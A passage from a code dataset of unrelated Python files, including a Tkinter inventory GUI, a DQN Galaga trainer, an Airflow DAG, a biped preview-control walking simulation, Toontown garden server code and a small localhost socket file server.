y=610)\r\n\r\n        self.l1 = Label(self.window, text=\"Enter Product Name:\", font=\"courier 16 bold\",bg=\"blue\",fg=\"white\")\r\n        self.l1.place(x=280, y=90)\r\n\r\n        self.Entry_reg = Entry(self.window, font=\"courior 14 bold\")\r\n        self.Entry_reg.place(x=550, y=90, height=30)\r\n\r\n        self.b1 = Button(self.window, text=\"Search\", font=\"Times 13 bold\",fg=\"white\",bg=\"blue\",width=10)\r\n        self.b1.place(x=790, y=90)\r\n        self.b1.bind('<Button-1>', self.search_product)\r\n\r\n\r\n        # for Style Table\r\n        style = Style()\r\n        style.configure(\"mystyle.Treeview\", highlightthickness=0, bd=0,\r\n                        font=('courier 12 bold'),rowheight=43)  # Modify the font of the body\r\n        style.configure(\"mystyle.Treeview.Heading\", font=('Times 15 bold'),foreground=\"black\")  # Modify the font of the headings\r\n        # style.layout(\"mystyle.Treeview\", [('mystyle.Treeview.treearea', {'sticky': 'nswe'})])  # Remove the borders\r\n        # import TreeViewe\r\n        self.tr=Treeview(self.window,columns=('A','B','C'),selectmode=\"extended\",style='mystyle.Treeview')\r\n        # heading key+text\r\n        self.tr.heading(\"#0\", text=\"Sr.No\")\r\n        self.tr.column(\"#0\", minwidth=0, width=85, stretch=NO)\r\n\r\n        self.tr.heading(\"#1\",text=\"Product Name\")\r\n        self.tr.column(\"#1\",minwidth=0,width=160,stretch=NO)\r\n\r\n        self.tr.heading(\"#2\", text=\"Product Catagory\")\r\n        self.tr.column(\"#2\", minwidth=0, width=200, stretch=NO)\r\n\r\n        self.tr.heading(\"#3\", text=\"Total Quantity\")\r\n        self.tr.column(\"#3\", minwidth=0, width=175, stretch=NO)\r\n\r\n\r\n        j=1\r\n        for i in Database.show_product_details():\r\n            self.tr.insert('',index=j,text=j,values=(i[1],i[2],i[3]))\r\n            j+=1\r\n\r\n        self.Entry_reg.bind('<KeyRelease>', self.remove)\r\n\r\n\r\n        self.sb = Scrollbar(self.tr)\r\n        self.sb.place(x=600,y=2,height=452,width=22,bordermode=OUTSIDE)\r\n        self.sb.config(command=self.tr.yview)\r\n        self.tr.config(yscrollcommand=self.sb.set)\r\n        self.tr.place(x=280,y=150)\r\n\r\n        # to excel file\r\n        self.b1 = Button(self.window, text=\"Save to Excel\", font=\"Times 12 bold\",bg=\"blue\",fg=\"white\",width=20,\r\n        )\r\n        self.b1.place(x=713, y=610)\r\n        self.b1.bind('<Button-1>', self.excel)\r\n\r\n\r\n        self.window.mainloop()\r\n\r\n    def remove(self,event):\r\n        for row in self.tr.get_children():\r\n            self.tr.delete(row)\r\n        j = 1\r\n        for i in Database.show_product_details():\r\n            self.tr.insert('', index=j, text=j, values=(i[1], i[2], i[3]))\r\n            j += 1\r\n\r\n    def search_product(self,event):\r\n        try:\r\n            data = (self.Entry_reg.get(),)\r\n            if self.Entry_reg.get() == \"\":\r\n                msg.showwarning(\"Message ! \", \"please insert product name !\")\r\n            else:\r\n                j = 1\r\n                D = Database.search_details(data)\r\n                if D:\r\n                    for row in self.tr.get_children():\r\n                        self.tr.delete(row)\r\n                    self.Entry_reg.delete(0, END)\r\n                    for i in D:\r\n                        self.tr.insert('', index=j, text=j, values=(i[1],i[2],i[3]))\r\n                        j += 1\r\n                else:\r\n                    msg.showwarning(\"Message!\", \"No result Found!\")\r\n\r\n        except:\r\n            msg.showwarning(\"Error!\", \"Something went wrong! please contact with developer !!!\")\r\n    def excel(self,event):\r\n        try:\r\n            x=Database.show_product_details()\r\n            p_name=[]\r\n            p_catagory=[]\r\n            p_quantity=[]\r\n            for i in range(len(x)):\r\n                z=x.__getitem__(i)\r\n                p_name.append(z[1])\r\n                p_catagory.append(z[2])\r\n                p_quantity.append(z[3])\r\n\r\n            products = pd.DataFrame({\r\n                \"Product Name\": p_name,\r\n                \"Product Catagory\":p_catagory,\r\n                \"Total Quantity\":p_quantity,\r\n            })\r\n\r\n            with pd.ExcelWriter(\"Excel Files/Products_Quantity.xlsx\") as writer:\r\n                products.to_excel(writer, sheet_name=\"Products_Quantity\", index=False)\r\n            msg.showinfo(\"Message ! \", \"Your data has been inserted Susccessfully !\")\r\n        except:\r\n            msg.showwarning(\"Message!\",\"Something Went Wrong!please contact with developer!!!\")\r\n\r\n    def add_products(self):\r\n        self.window.destroy()\r\n        home = Home.data()\r\n        home.add_background()\r\n        home.add_frame()\r\n\r\n    def sales_products(self):\r\n        self.window.destroy()\r\n        showP = Showing_Records.show()\r\n        showP.add_background()\r\n        showP.add_table()\r\n    def check_products_quantity(self):\r\n        pass\r\n    def check_products_sales(self):\r\n        self.window.destroy()\r\n        showP = Check_Sales_Products.show()\r\n        showP.add_background()\r\n        showP.add_table()\r\n    def check_profit_loss(self):\r\n        self.window.destroy()\r\n        showP = Check_Profit_Loss_GUI.show()\r\n        showP.add_background()\r\n        showP.add_table()\r\n    def check_amount(self):\r\n        self.window.destroy()\r\n        showP = Check_Amount_Details.show()\r\n        showP.add_background()\r\n        showP.add_table()\r\n\r\n    def add_customer(self):\r\n        self.window.destroy()\r\n        home = Add_Customer.data()\r\n        home.add_background()\r\n        home.add_frame()\r\n    def customer_record(self):\r\n        self.window.destroy()\r\n        showP = Customer_Records.show()\r\n        showP.add_background()\r\n        showP.add_table()\r\n\r\n\r\nif __name__ == '__main__':\r\n    x=show()\r\n    x.add_background()\r\n    x.add_table()","sub_path":"Check_Products_Quantity.py","file_name":"Check_Products_Quantity.py","file_ext":"py","file_size_in_byte":8693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"650421314","text":"#!usr/bin/python\n# ! _*_coding:utf-8_*_\n\nimport os,re\n'''\n\n这个是补番的时候，用来提取文本的\n'''\ndef dump(pcodeFileDir):\n    for root,dirs,files in os.walk(pcodeFileDir):\n        for file in files:\n            fop = open(root+os.sep+file,'r')\n            fout = open(root+os.sep+file+\"_\",'w')\n            i = 0\n            while True:\n                line = fop.readline()\n                i = i + 1\n                if not line :\n                    break\n                if \"pushstring\" in line and not isChinese(line.decode('utf-8')):\n                    fout.writelines(\"txtLine:\"+str(i)+'\\n')\n                    fout.writelines(line)\n            fop.close()\n            fout.flush()\n            fout.close()\n\n\ndef isChinese(zifu):\n    zh_test=re.compile(u'[\\u4e00-\\u9fa5]+')\n    if zh_test.search(zifu):\n        return True\n    else:\n        return False\n\nif __name__=='__main__':\n    pcodeFileDir = r\"C:\\Users\\Administrator\\Desktop\\comp\"\n    dump(pcodeFileDir)","sub_path":"singleExc/Flash/备份/chuliPcodeFanyi.py","file_name":"chuliPcodeFanyi.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"401203308","text":"class Solution(object):\n    def fractionToDecimal(self, numerator, denominator):\n        \"\"\"\n        :type numerator: int\n        :type denominator: int\n        :rtype: str\n        \"\"\"\n        if numerator * denominator == 0: return '0'\n        isPositive = (numerator * denominator) >= 0\n        s = numerator % denominator\n        if s == 0:\n            return str(numerator / denominator)\n        n, d = abs(numerator), abs(denominator)\n        firstPart = n // d\n        n %= d\n        dt = []\n        yushu = []\n        pre = []\n        circle = True\n        while True:\n            yushu.append(n)\n            n *= 10\n            bit = n / d  # 0<=bit<=9\n            n = n % d\n            dt.append(bit)\n            if n == 0:\n                circle = False\n                break\n            # if len(dt)%2==0:\n            #     if dt[:len(dt)/2]==dt[len(dt)/2:]:\n            #         dt=dt[:len(dt)/2]\n            #         break\n            if n in yushu:\n                l = len(yushu) - 1\n                while True:\n                    if n == yushu[l]:\n                        pre = dt[:l]\n                        dt = dt[l:]\n                        break\n                    else:\n                        l -= 1\n                break\n\n        midpart = '.'\n        lastpart = ''\n        result = ''\n        for i in pre:\n            midpart += str(i)\n        for i in dt:\n            lastpart += str(i)\n        lastpart = \"(\" + lastpart + \")\" if circle else lastpart\n        if not isPositive:\n            result = '-' + str(firstPart) + midpart + lastpart\n        else:\n            result = str(firstPart) + midpart + lastpart\n        return result\n","sub_path":"code/Fraction_to_Recurring_Decimal.py","file_name":"Fraction_to_Recurring_Decimal.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"443153022","text":"from DQN import DQN\nfrom ReplayMemory import Transition, ReplayMemory\n\nimport gym\nimport galaga_gym\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport math\nimport random\nfrom itertools import count\n\nenv = gym.make(\"GalagaEnv-v0\")\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nBATCH_SIZE = 1\nGAMMA = 0.999\nEPS_START = 0.9\nEPS_END = 0.05\nEPS_DECAY = 200\nTARGET_UPDATE = 10\nNUM_EPOCHS = 800\n\nn_actions = env.action_space.n\n\npolicy_net = DQN()\ntarget_net = DQN()\ntarget_net.load_state_dict(policy_net.state_dict())\ntarget_net.eval()\n\noptimizer = optim.RMSprop(policy_net.parameters())\nmemory = ReplayMemory(10000)\n\nsteps_done = 0\n\ndef select_action(state):\n  global steps_done\n  sample = random.random()\n\n  eps_threshold = EPS_END + (EPS_START - EPS_END) / math.exp(-1. * steps_done / EPS_DECAY)\n\n  steps_done += 1\n\n  if sample > eps_threshold:\n    with torch.no_grad():\n      return policy_net(state).max(0)[1].view(1, 1)\n  \n  else:\n    return torch.tensor([[random.randrange(n_actions)]], device=device, dtype=torch.long)\n\ndef optimize_model():\n  if len(memory) < BATCH_SIZE:\n    return\n  \n  transitions = memory.sample(BATCH_SIZE)\n\n  batch = Transition(*zip(*transitions))\n\n  non_final_mask = torch.tensor(tuple(map(lambda s: s is not None, batch.next_state)), device=device, dtype=torch.bool)\n  non_final_next_states = torch.cat([s for s in batch.next_state if s is not None]).reshape(len(batch.next_state), batch.next_state[0].shape[0])\n\n  state_batch = torch.cat(batch.state).reshape(len(batch.state), batch.state[0].shape[0])\n  action_batch = torch.cat(batch.action)\n  reward_batch = torch.cat(batch.reward)\n\n  state_action_values = policy_net(state_batch).gather(1, action_batch)\n\n  next_state_values = torch.zeros(BATCH_SIZE, device=device)\n  next_state_values[non_final_mask] = target_net(non_final_next_states).max(1)[0].detach()\n\n  expected_state_action_values = (next_state_values * GAMMA) + reward_batch\n\n  loss = F.smooth_l1_loss(state_action_values, expected_state_action_values.unsqueeze(1))\n\n  optimizer.zero_grad()\n  loss.backward()\n\n  for param in policy_net.parameters():\n    param.grad.data.clamp_(-1, 1)\n  \n  optimizer.step()\n\ntry:\n  for epoch in range(NUM_EPOCHS):\n    env.reset()\n    state = env.getState()\n\n    for t in count():\n      action = select_action(state)\n      _, reward, done, _ = env.step(action.item())\n      reward = torch.tensor([reward], device=device)\n\n      last_state = state\n      state = env.getState()\n\n      memory.push(last_state, action, state, reward)\n\n      optimize_model()\n\n      if done:\n        print(f\"Epoch {epoch} finished with score of {env.game.score} on round {env.game.roundNum} with {env.game.lives} lives\")\n        break\n    \n    if epoch % TARGET_UPDATE == 0:\n      target_net.load_state_dict(policy_net.state_dict())\nexcept KeyboardInterrupt as ex:\n  print(\"Keyboard Interrupt!\")\n\nprint(\"Complete!\")\ntorch.save(policy_net.state_dict(), \"policy_net.pt\")\ntorch.save(target_net.state_dict(), \"target_net.pt\")","sub_path":"python/DQN/trainDQN.py","file_name":"trainDQN.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"34015193","text":"from airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import datetime, timedelta\n\ndefault_args = {\n    'owner': 'royh',\n    'start_date': datetime(2020, 5, 5),\n    'depends_on_past': False,\n    'retries': 3,\n    'retry_delay': timedelta(minutes=5),\n    'catchup_by_default': False,\n    'email_on_retry': False\n}\n\n\ndag = DAG(\n    'seo_rankings',\n    default_args=default_args,\n    schedule_interval='@daily'\n)\n\nt0 = BashOperator(\n    task_id='where_am_i',\n    bash_command='pwd && cd ~ && ls',\n    dag=dag\n)\n\nt1 = BashOperator(\n    task_id='get_coaster_rankings',\n    bash_command='cd ~ && cd dags && python etsy_coaster_seo.py',\n    dag=dag\n)\n\nt2 = BashOperator(\n    task_id='get_luggage_rankings',\n    bash_command='cd ~ && cd dags && python etsy_luggagetag_seo.py',\n    dag=dag\n)\n\nt0 >> t1 >> t2","sub_path":"dags/etsy_seo_dag.py","file_name":"etsy_seo_dag.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"458697303","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np              # Numerical library\nfrom scipy import *             # Load the scipy functions\nfrom control.matlab import *    # Load the controls systems library\nfrom matplotlib import pyplot as plt\n\ndef drange(begin, end, step):\n    n = begin\n    end = end + step\n    while n < end:\n     yield n\n     n += step\n\ndist = [0.6, 0.05, ( 3.14/2.0) ]\nmax_step_x = 0.1\nmax_step_y = 0.05\nmax_step_w = 0.2;\nperiod = 0.3\nfoot_y = 0.06\n\nstep_num_x = int(abs(dist[0])/max_step_x)\nstep_num_y = int(abs(dist[1])/max_step_y)\nstep_num_w = int(abs(dist[2])/max_step_w)\nstep_num = max([step_num_x, step_num_y, step_num_w])\n\nif (step_num_x == step_num):\n    step_x = sign(dist[0])*min(abs(dist[0]), max_step_x)\n    step_y = dist[1]/abs(dist[0])*max_step_x\n    step_w = dist[2]/abs(dist[0])*max_step_x\nelif (step_num_y == step_num):\n    step_x = dist[0]/abs(dist[1])*max_step_y\n    step_y = sign(dist[1])*min(abs(dist[1]), max_step_y)\n    step_w = dist[2]/abs(dist[1])*max_step_y\nelif (step_num_w == step_num):\n    step_x = dist[0]/abs(dist[2])*max_step_w\n    step_y = dist[1]/abs(dist[2])*max_step_w\n    step_w = sign(dist[2])*min(abs(dist[2]), max_step_w)\n\nstep = np.array([0.0, 0.0, 0.0])\nfoot = [step]\nfoot.append(np.array([period, 0.0, foot_y]))\nrot = 0\n\nfor i in drange(1, step_num, 1):\n    shift_y = foot_y * ((divmod(i,2)[1])*2-1)*2*(-1)\n    foot_rd = [step_x, step_y+shift_y]\n    foot_fd = [foot_rd[0]*cos(rot)-foot_rd[1]*sin(rot), foot_rd[0]*sin(rot)+foot_rd[1]*cos(rot)]\n    rot = rot + step_w\n    foot.append(np.array([foot[i][0] + period, foot[i][1] + foot_fd[0], foot[i][2] + foot_fd[1]]))\n\nfoot_rd = [dist[0]-step_x*step_num, dist[1]-step_y*step_num-shift_y]\nfoot_fd = [foot_rd[0]*cos(rot)-foot_rd[1]*sin(rot), foot_rd[0]*sin(rot)+foot_rd[1]*cos(rot)]\nfoot.append(np.array([foot[i+1][0] + period, foot[i+1][1] + foot_fd[0], foot[i+1][2] + foot_fd[1]]))\n\nrot = dist[2]\nfoot_rd = [0,shift_y/2]\nfoot_fd = [foot_rd[0]*cos(rot)-foot_rd[1]*sin(rot), foot_rd[0]*sin(rot)+foot_rd[1]*cos(rot)]\nfoot.append(np.array([foot[i+2][0] + period, foot[i+2][1] + foot_fd[0], foot[i+2][2] + foot_fd[1]]))\nfoot.append(np.array([100, 0, 0]))\n\n#foot = [[0, 0, 0], [0.6, 0.1, 0.06], [0.9, 0.2, -0.06], [1.2, 0.3, 0.06], [1.5, 0.4, -0.06],[1.8, 0.5, 0.06], [2.4, 0.6, -0.06], [3.0, 0.7, 0.0],[100,0,0]]\nforward_period = 1.0\ncalculate_period = 4.0\n\ndt = 0.01\nzh = 0.27\ng  = 9.8\n\nA = np.matrix([[0, 1, 0],\n               [0, 0, 1],\n               [0, 0, 0]])\n\nB = np.matrix([[0],\n               [0],\n               [1]])\n\nC = np.matrix([[1, 0, (-zh/g)]])\n\nD = 0\n\nsys = ss(A,B,C,D)\nsys_d = c2d(sys, dt)\nA_d, B_d, C_d, D_d = ssdata(sys_d)\n\nE_d  = np.matrix([[dt],[1], [0]])\nZero = np.matrix([[0], [0], [0]])\nPhai = np.r_[np.c_[1, -C_d * A_d], np.c_[Zero, A_d]]\nG    = np.r_[-C_d*B_d, B_d]\nGR   = np.matrix([[1], [0], [0], [0]])\nGd   = np.r_[-C_d*E_d, E_d]\nQ = np.zeros((4,4))\nQ[0, 0] = pow(10,8)\nH = 1\n\nP = dare(Phai, G, Q, H)[0]\nF = pow(-(H+(G.transpose())*P*G),-1)*G.transpose()*P*Phai\n\nx = np.matrix([[0],[0],[0]])\ny = np.matrix([[0],[0],[0]])\nxp = x;\nyp = y;\n\ni = 1;\nn = 0;\nprefx = []\nprefy = []\n\nx0 = []\ny0 = []\nx1 = []\ny1 = []\nx2 = []\ny2 = []\ntimes = []\n\nfor tt in drange(0, calculate_period+forward_period+1-dt, dt):\n    time = float(format(round(tt, 3)))\n    if(abs(time-foot[n][0])<(dt/2)):\n        prefx.append(foot[n][1])\n        prefy.append(foot[n][2])\n        #print(i, time, foot[n][1])\n        n = n + 1\n    else:\n        prefx.append(prefx[i-2])\n        prefy.append(prefy[i-2])\n    i = i + 1\n\"\"\"\nfor num in range(len(prefx)):\n    print(prefx[num], prefy[num])\n\"\"\"\ni = 0\nux,uy = 0.0, 0.0\nxi = (np.eye(4)-G*pow(H+G.transpose()*P*G,-1)*G.transpose()*P)*Phai\n\nfor ttn in drange(0,calculate_period-dt,dt):\n    tt = float(format(round(ttn, 3)))\n    px = C_d*x\n    py = C_d*y\n    ex = prefx[i] - px\n    ey = prefy[i] - py\n    X = np.r_[ex,x - xp]\n    Y = np.r_[ey,y - yp]\n    xp = x\n    yp = y\n    dux = F * X\n    j = 0\n\n    for tttn in drange(tt,tt+ forward_period-dt, dt):\n        j = j + 1\n        if (prefx[i+j] - prefx[i+j-1]) != 0:\n            f  = -pow((H+G.transpose()*P*G),-1)*G.transpose()*pow(xi.transpose(),j-1)*P*GR\n            dux = dux + f * (prefx[i+j] - prefx[i+j-1])\n    ux += dux\n    duy = F * Y\n    j = 0\n\n    for tttn in drange(tt,tt+ forward_period-dt, dt):\n        j = j + 1\n        if (prefy[i+j] - prefy[i+j-1]) != 0:\n            f  = -pow((H+G.transpose()*P*G),-1)*G.transpose()*pow(xi.transpose(),j-1)*P*GR\n            duy = duy + f * (prefy[i+j] - prefy[i+j-1])\n    uy += duy\n\n    dx = 0\n    dy = 0\n    x = A_d  * x + B_d * ux + E_d * dx * dt\n    y = A_d * y + B_d * uy + E_d * dy * dt;\n    x0.append(float(x[0, 0]))\n    y0.append(float(y[0, 0]))\n    x1.append(float(prefx[i]))\n    y1.append(float(prefy[i]))\n    x2.append(float(px))\n    y2.append(float(py))\n    times.append(tt)\n    i = i + 1\n\"\"\"\ng = plt.subplot(2,1,1)\ng.plot(x0, y0, color=\"red\",label=\"$COM$\")\ng.plot(x1, y1, color=\"green\",label=\"$refZMP$\")\ng.plot(x2, y2, \"*\",label=\"$ZMP$\")\ng.set_aspect('equal')\nr = plt.subplot(2,1,2)\nr.plot(times, x0, color=\"red\",label=\"$COM X$\")\nr.plot(times, x1, color=\"blue\",label=\"$refZMPX$\")\nr.plot(times, x2, color=\"lime\",label=\"$ZMP X$\")\nr.plot(times, y0, color=\"green\",label=\"$COM Y$\")\nr.plot(times, y1, color=\"cyan\",label=\"$refZMPY$\")\nr.plot(times, y2, color=\"violet\",label=\"$ZMP Y$\")\nplt.savefig('preview_control_rot.png')\nplt.show()\n\"\"\"\nstep_times = []\nstep1_x = []\nstep1_y = []\ncoefficient_x = []\ncoefficient_y = []\ncoefficient_t = []\n\nnum = 0\n\none_step = 30#30\nstart_step = one_step\nfor n_step in range(len(foot)):\n    #if(n_step > 0 and n_step < len(foot)-2 ):\n    if(n_step < len(foot)-1 ):\n        #print(n_step*(one_step)+1, (n_step+1)*(one_step)+1)\n        for num in range(n_step*(one_step)+1, (n_step+1)*(one_step)+1):\n            step1_x.append(x0[num])\n            step1_y.append(y0[num])\n            step_times.append(times[num])\n\n        res_x = np.polyfit(step_times,step1_x, 5)\n        res_y = np.polyfit(step_times,step1_y, 5)\n        pl_x = np.poly1d(res_x)\n        pl_y = np.poly1d(res_y)\n        coefficient_x.append(pl_x)\n        coefficient_y.append(pl_y)\n        coefficient_t.append(np.array(step_times))\n\n        step_times.clear()\n        step1_x.clear()\n        step1_y.clear()\n\n\nfor n in range(len(coefficient_t)):\n    print(list(coefficient_x[n]), list(coefficient_y[n]))\n\n\nplt.xlabel('x(m)')\nplt.ylabel('y(m)')\nplt.axes().set_aspect('equal')\nplt.plot(x0, y0, color=\"red\",label=\"$COM$\")\nplt.plot(x1, y1, color=\"green\",label=\"$refZMP$\")\nplt.plot(x2, y2, \"*\",label=\"$ZMP$\")\nplt.legend(bbox_to_anchor=(0.0, 1.0), loc='upper left', borderaxespad=0, fontsize=10)\nplt.savefig('previewcontroller_walk_rot_COM.png')\nplt.show()\n\nplt.xlabel('t(s)')\nplt.ylabel('dist(m)')\n\np = []\nlist_draw_x = ['k','c','k','c','k','c','k','c','k','c','k']\nlist_draw_y = ['r','y','r','y','r','y','r','y','r','y','r']\nfor d_num in range(len(coefficient_t)):\n    p = coefficient_t[d_num].tolist()\n    plt.plot(p, coefficient_x[d_num](p), color = list_draw_x[d_num])#color=\"red\")\n    plt.plot(p, coefficient_y[d_num](p), color = list_draw_y[d_num])#color=\"green\")\nplt.plot(p, coefficient_y[d_num](p), color=\"k\",label=\"$POLY COM X$\")\nplt.plot(p, coefficient_y[d_num](p), color=\"r\",label=\"$POLY COM Y$\")\n#plt.plot(x0, y0, color=\"red\",label=\"$COM$\")\n#plt.plot(x1, y1, color=\"green\",label=\"$refZMP$\")\n#plt.plot(x2, y2, \"*\",label=\"$ZMP$\")\n#plt.legend(bbox_to_anchor=(0.0, 1.0), loc='upper left', borderaxespad=0, fontsize=10)\n#plt.savefig('PC_walk_rot_COM.png')\nplt.plot(times, x0, linestyle = \"dotted\",color=\"green\",label=\"$COM X$\")\n#plt.plot(times, x1, color=\"blue\",label=\"$refZMPX$\")\n#plt.plot(times, x2, color=\"lime\",label=\"$ZMP X$\")\nplt.plot(times, y0, linestyle = \"dotted\",color=\"blue\",label=\"$COM Y$\")\n#plt.plot(times, y1, color=\"cyan\",label=\"$refZMPY$\")\n#plt.plot(times, y2, color=\"violet\",label=\"$ZMP Y$\")\nplt.legend(bbox_to_anchor=(0.0, 1.0), loc='upper left', borderaxespad=0, fontsize=10)\n#plt.savefig('polynomial_COM_trajectory_txty.png')\nplt.show()\n","sub_path":"preview_control_rot_polynomial.py","file_name":"preview_control_rot_polynomial.py","file_ext":"py","file_size_in_byte":8027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"235575135","text":"from direct.directnotify import DirectNotifyGlobal\nfrom otp.ai.MagicWordGlobal import *\nfrom toontown.estate.DistributedPlantBaseAI import DistributedPlantBaseAI\nfrom toontown.estate.FlowerBase import FlowerBase\nfrom toontown.estate import GardenGlobals\nimport time\nONE_DAY = 86400\n\nclass DistributedFlowerAI(DistributedPlantBaseAI, FlowerBase):\n    notify = DirectNotifyGlobal.directNotify.newCategory('DistributedFlowerAI')\n\n    def setTypeIndex(self, value):\n        DistributedPlantBaseAI.setTypeIndex(self, value)\n        FlowerBase.setSpecies(self, value)\n\n    def calculate(self, lastCheck):\n        now = int(time.time())\n        if lastCheck == 0:\n            lastCheck = now\n        grown = 0\n        elapsed = now - lastCheck\n        while elapsed > ONE_DAY:\n            if self.waterLevel >= 0:\n                grown += 1\n            elapsed -= ONE_DAY\n            self.waterLevel -= 1\n\n        self.waterLevel = max(self.waterLevel, -2)\n        maxGrowth = self.growthThresholds[2]\n        newGL = min(self.growthLevel + grown, maxGrowth)\n        self.setGrowthLevel(newGL)\n        self.lastCheck = now - elapsed\n        self.update()\n\n    def update(self):\n        mdata = map(list, self.mgr.data['flowers'])\n        mdata[self.flowerIndex] = [self.getSpecies(), self.waterLevel, self.lastCheck, self.getGrowthLevel(), self.getVariety()]\n        self.mgr.data['flowers'] = mdata\n        self.mgr.update()\n\n    def removeItem(self, usingPickAll=0):\n        avId = self.air.getAvatarIdFromSender()\n        if not usingPickAll:\n            if avId != self.ownerDoId:\n                self.air.writeServerEvent('suspicious', avId, \"tried to remove someone else's flower!\")\n                return\n            self.d_setMovie(GardenGlobals.MOVIE_REMOVE)\n        action = 'remove'\n        if self.getGrowthLevel() >= self.growthThresholds[2]:\n            action = 'pick'\n\n        def _remove(task):\n            if not self.air:\n                return\n            av = self.air.doId2do.get(self.ownerDoId)\n            if not av:\n                return\n            plot = self.mgr.placePlot(self.flowerIndex)\n            plot.flowerIndex = self.flowerIndex\n            plot.setPlot(self.plot)\n            plot.setOwnerIndex(self.ownerIndex)\n            plot.generateWithRequired(self.zoneId)\n            if not usingPickAll:\n                plot.d_setMovie(GardenGlobals.MOVIE_FINISHREMOVING, avId)\n                plot.d_setMovie(GardenGlobals.MOVIE_CLEAR, avId)\n            index = (0, 1, 2, 2, 2, 3, 3, 3, 4, 4)[self.flowerIndex]\n            idx = (0, 0, 0, 1, 2, 0, 1, 2, 0, 1)[self.flowerIndex]\n            plot.sendUpdate('setBoxDoId', [self.mgr._boxes[index].doId, idx])\n            self.air.writeServerEvent('%s-flower' % action, avId, plot=self.plot)\n            self.requestDelete()\n            self.mgr.flowers.remove(self)\n            mdata = map(list, self.mgr.data['flowers'])\n            mdata[self.flowerIndex] = self.mgr.getNullPlant()\n            self.mgr.data['flowers'] = mdata\n            self.mgr.update()\n            if action == 'pick':\n                av.b_setShovelSkill(av.getShovelSkill() + self.getValue())\n                av.addFlowerToBasket(self.getSpecies(), self.getVariety())\n            if task:\n                return task.done\n\n        if usingPickAll:\n            _remove(None)\n        else:\n            taskMgr.doMethodLater(7, _remove, self.uniqueName('do-remove'))\n        return\n\n\n@magicWord(category=CATEGORY_OVERRIDE)\ndef growFlowers():\n    av = spellbook.getTarget()\n    estate = av.air.estateManager._lookupEstate(av)\n    if not estate:\n        return 'Estate not found!'\n    garden = estate.gardenManager.gardens.get(av.doId)\n    if not garden:\n        return 'Garden not found!'\n    now = int(time.time())\n    i = 0\n    for flower in garden.flowers:\n        flower.b_setWaterLevel(5)\n        flower.b_setGrowthLevel(2)\n        flower.update()\n        i += 1\n\n    return '%d flowers grown.' % i\n\n\n@magicWord(category=CATEGORY_OVERRIDE)\ndef pickAllFlowers():\n    av = spellbook.getTarget()\n    estate = av.air.estateManager._lookupEstate(av)\n    if not estate:\n        return 'Estate not found!'\n    garden = estate.gardenManager.gardens.get(av.doId)\n    if not garden:\n        return 'Garden not found!'\n    i = 0\n    for flower in garden.flowers.copy():\n        if flower.getGrowthLevel() >= flower.growthThresholds[2]:\n            flower.removeItem(1)\n            i += 1\n\n    return '%d flowers picked.' % i","sub_path":"v2.5.7/toontown/estate/DistributedFlowerAI.py","file_name":"DistributedFlowerAI.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"266297376","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nwait = 5\n\n\ndef run():\n    out = \"\"\n    with open('/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor') as fp:\n        out += fp.readlines()[0].strip()\n    return {\n        'full_text': '%s' % out,\n        'name': 'cpugovernor',\n        'color': 'white'\n    }\n","sub_path":"i3/doti3/status-available.d/cpu-governor.py","file_name":"cpu-governor.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"462666087","text":"import socket\n\nhost = 'localhost'\nport = 9999\n# 创建socket对象，绑定端口，并监听 ，接收客户端发过来的流\ndef file_Server(recfile):\n    recText = ''\n    with  socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:\n        s.bind((host,port))\n        s.listen(1)\n\n        conn,addr = s.accept()\n        with conn:\n            #print('Connected by',addr)\n            while True:\n                data = conn.recv(4096)\n                #recText = recText + data.decode()\n                with open(recfile,'a') as f:\n                    f.write(data.decode())\n                \n                if not data:\n                    break\n                #conn.sendall(data)\n        #print(recText)\n\n\n\n\nif __name__ == '__main__':\n    file_Server('G:\\\\tmp\\\\stracelog_server.txt')\n","sub_path":"week02/week02-work1_fileServer.py","file_name":"week02-work1_fileServer.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"502210258","text":"from shse.network.socket.packet import *\n\n\nclass ISerializable():\n    def Get_bytes(self):\n        pass\n\n    def Get_size(self):\n        pass\n\n\nclass Message(ISerializable):\n    def __init__(self):\n        self.Header = ISerializable()\n        self.Body = ISerializable()\n\n    def Get_bytes(self):\n        header = self.Header.Get_bytes()\n        body = self.Body.Get_bytes()\n\n        return header + body\n\n    def Get_size(self):\n        return self.Header.Get_size() + self.Body.Get_size()\n\n\nclass MessageUtil():\n    @staticmethod\n    def Header_set(mode, msg, msgid, msgtype, bodylen, fragment, lastmsg, seq):\n        msg.Header = Header(None)\n        msg.Header.MODE = mode\n        msg.Header.MSGID = msgid\n        msg.Header.MSGTYPE = msgtype\n        msg.Header.BODYLEN = bodylen\n        msg.Header.FRAGMENTED = fragment\n        msg.Header.LASTMSG = lastmsg\n        msg.Header.SEQ = seq\n\n    @staticmethod\n    def send(sock, msg):\n        sent = 0\n        buffer = msg.Get_bytes()\n        while sent < msg.Get_size():\n            sent += sock.send(buffer)\n\n    @staticmethod\n    def receive(sock):\n        totalRecv = 0\n        sizeToRead = 20\n        hbuffer = bytes()\n\n        while sizeToRead > 0 :\n            buffer = sock.recv(sizeToRead)\n            